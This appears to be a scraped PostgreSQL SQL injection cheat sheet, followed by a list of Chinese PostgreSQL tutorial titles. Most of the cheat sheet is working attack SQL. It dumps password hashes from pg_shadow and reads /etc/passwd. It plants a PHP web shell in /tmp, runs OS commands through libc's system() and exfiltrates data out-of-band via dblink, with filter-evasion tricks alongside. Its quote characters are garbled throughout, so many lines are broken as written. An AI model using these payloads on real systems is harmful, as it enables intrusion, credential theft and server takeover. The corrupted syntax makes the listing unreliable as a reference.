**Version**:
SELECT VERSION()
**Directories**:
SELECT **current_setting**(＆data_directory＊)
SELECT **current_setting**(＆hba_file＊)
SELECT **current_setting**(＆config_file＊)
SELECT **current_setting**(＆ident_file＊)
SELECT **current_setting**(＆external_pid_file＊)
**Users**:
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();
**Current Database**:
SELECT current_database();
**Concatenation**:
SELECT 1||2||3; #*Returns 123*
**Get Collation**:
SELECT pg_client_encoding(); #*Returns your current encoding (collation).*
**Change Collation**:
SELECT convert(＆foobar_utf8∩,＊UTF8∩,＊LATIN1∩); #*Converts foobar from utf8 to latin1.*
SELECT convert_from(＆foobar_utf8∩,＊LATIN1∩); #*Converts foobar to latin1.*
SELECT convert_to(＆foobar＊,'UTF8∩); #*Converts foobar to utf8.*
SELECT to_ascii(＆foobar＊,'LATIN1∩); #*Converts foobar to latin1.*
**Wildcards in SELECT(s)**:
SELECT foo FROM bar WHERE id LIKE ＆test%＊; #*Returns all COLUMN(s) starting with ※test§.*
SELECT foo FROM bar WHERE id LIKE ＆%test＊; #*Returns all COLUMN(s) ending with ※test§.*
**Regular Expression in SELECT(s)**:
#*Returns all columns matching the regular expression.*
SELECT foo FROM bar WHERE id ~* ＆(moo|rawr).*＊;**
**SELECT foo FROM bar WHERE id SIMILAR ＆(moo|rawr).*＊;
**SELECT Without Dublicates**:
SELECT DISTINCT foo FROM bar
**Counting Columns**:
SELECT COUNT(*) FROM foo.bar; #*Returns the amount of rows from the table ※foo.bar§.*
**Get Amount of **PostgreSQL** Users**:
SELECT COUNT(*) FROM pg_catalog.pg_user
**Get **PostgreSQL** Users**:
SELECT usename FROM pg_user
**Get **PostgreSQL** User Privileges on Different Columns**:
SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges
**Get **PostgreSQL** User Privileges**:
SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user
**Get **PostgreSQL** User Credentials & Privileges**:
SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow
**Get **PostgreSQL** DBA Accounts**:
SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE
**Get Databases**:
SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables
**Get Databases & Tables**:
SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns
**Get Databases, Tables & Columns**:
SELECT table_schema,table_name,column_name FROM information_schema.columns
**SELECT A Certain Row**:
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #*Returns row 0.*
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #*Returns row 1.*
＃
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #*Returns row N.*
**Conversion (Casting)**:
SELECT CAST(＊1∩ AS INTEGER) #*Converts the varchar ※1” to integer.*
**Substring**:
SELECT SUBSTR(＆foobar＊,1,3); #*Returns foo.*
SELECT SUBSTRING(＆foobar＊,1,3); #*Returns foo.*
**Hexadecimal Evasion**:
#*Not as fancy as in MySQL, but it sure works!*
SELECT decode(＊41424344∩,＊hex＊); #*Returns ABCD.*
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #*Returns A.*
**ASCII to Number**:
SELECT ASCII(＆A＊); #*Returns 65.*
**Number to ASCII**:
SELECT CHR(65); #*Returns A.*
**If Statement**:
#*Impossible in SELECT statements.*
#*However, here＊s a work-around with sub-select(s).*
SELECT (SELECT 1 WHERE 1=1); #*Returns 1.*
SELECT (SELECT 1 WHERE 1=2); #*Returns NULL.*
**Case Statement**:
#*May be used instead of the If-Statement.*
SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #*Returns 1.*
**Read File(s)**:
CREATE TABLE file(content text);
COPY file FROM ＆/etc/passwd＊;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;
＃
UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;
**Write File(s)**:
CREATE TABLE file(content text);
INSERT INTO file(content) VALUES (＆<?PHP $s=$_GET;@chdir($s[/'x/']);echo@system($s[/'y/'])?>＊);
COPY file(content) TO ＆/tmp/shell.php＊;
**Logical Operator(s)**:
#*[http://en.wikipedia.org/wiki/Logical_connective](http://en.wikipedia.org/wiki/Logical_connective)*
AND
OR
NOT
**Comments**:
SELECT foo, bar FROM foo.bar/* *Multi line comment* */
SELECT foo, bar FROM foo.bar每 *Single line comment*
**A few evasions/methods to use between your **PostgreSQL** statements**:
CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #*Most commonly used. You know what a space is.*
Multiline Comment (/**/); #*Well, as the name says.*
Parenthesis, ( and ); #*Can also be used as separators when used right.*
**Parenthesis instead of space**:
#*As said two lines above, the use of parenthesis can be used as a separator.*
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));
**Auto-Casting to Right Collation**:
SELECT CONVERT_TO(＆foobar＊,pg_client_encoding());
**Benchmark**:
#*Takes about 7.5 seconds to perform this logical operation.*
#*Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.*
SELECT (||/(9999!));
**Sleep**:
SELECT PG_SLEEP(5); #*Sleeps the **PostgreSQL** database for 5 seconds.*
**Get **PostgreSQL** IP**:
SELECT inet_server_addr()
**Get **PostgreSQL** Port**:
SELECT inet_server_port()
**Command Execution**:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ＆/lib/libc.so.6∩, ＆system＊ LANGUAGE ＆C＊ STRICT;
SELECT system(＆echo Hello.＊);
**DNS Requests (OOB (*Out-Of-Band*))**:
SELECT * FROM dblink(＆host=www.your.host.com user=DB_Username dbname=DB＊, ＆SELECT YourQuery＊) RETURNS (result TEXT);
**Having Fun With **PostgreSQL****:
- dblink: The Root Of All Evil
- Mapping Library Functions
- From Sleeping and Copying In **PostgreSQL** 8.2
- Recommendation and Prevention
- Introducing pgshell
- 数据表
- 模式Schema
- 表的继承和分区
- 常用数据类型
- 函数和操作符-一
- 函数和操作符-二
- 函数和操作符-三
- 索引
- 事物隔离
- 性能提升技巧
- 服务器配置
- 角色和权限
- 数据库管理
- 数据库维护
- 系统表
- 系统视图
- SQL语言函数
- PL-pgSQL过程语言
- PostgreSQL 序列（SEQUENCE）
- PostgreSQL的时间-日期函数使用
- PostgreSQL 查看数据库，索引，表，表空间大小
- 用以查询某表的详细 包含表字段的注释信息
- PostgreSQL 系统表查看系统信息
- postgre存储过程简单实用方法
- PostgreSQL实用日常维护SQL
- PostgreSQL的时间函数使用整理
- 命令
- pg_ctl控制服务器
- initdb 初始化数据库簇
- createdb创建数据库
- dropdb 删除数据库
- createuser创建用户
- dropuser 删除用户
- psql交互式工具
- psql命令手册
- pg_dump 数据库转储
- pg_restore恢复数据库
- vacuumdb 清理优化数据库
- reindexdb 数据库重创索引
- createlang 安装过程语言
- droplang 删除过程语言
- pg_upgrade 升级数据库簇
- 调试存储过程
- 客户端命令-一
- 客户端命令-二
- 使用技巧
- PostgreSQL删除重复数据
- postgresql 小技巧
- PostgreSQL的10进制与16进制互转
- PostgreSQL的汉字转拼音
- Postgres重复数据的更新一例
- PostgreSQL使用with一例
- PostgreSQL在函数内返回returning
- PostgreSQL中的group_concat使用
- PostgreSQL数据库切割和组合字段函数
- postgresql重复数据的删除
- PostgreSQL的递归查询(with recursive)
- PostgreSQL函数如何返回数据集
- PostgreSQL分区表（Table Partitioning）应用 - David_Tang - 博客园
- PostgreSQL: function 返回结果集多列和单列的例子
- 利用pgAgent创建定时任务
- 浅谈 PostgreSQL 类型转换类似Oracle
- postgresql在windows(包括win7)下的安装配置
- PostgreSQL简介、安装、用户管理、启动关闭、创建删除数据库 (2010-11-08 12-52-51)转载▼标签： 杂谈分类： PostgreSQL
- PostgreSQL的generate_series函数应用
- PostgreSQL 8.3.1 全文检索(Full Text Search)
- postgresql record 使用
- 备份恢复
- PostgreSQL基于时间点恢复(PITR)
- Postgresql基于时间点恢复PITR案例(二)
- Postgres逻辑备份脚本
- Postgres invalid command \N数据恢复处理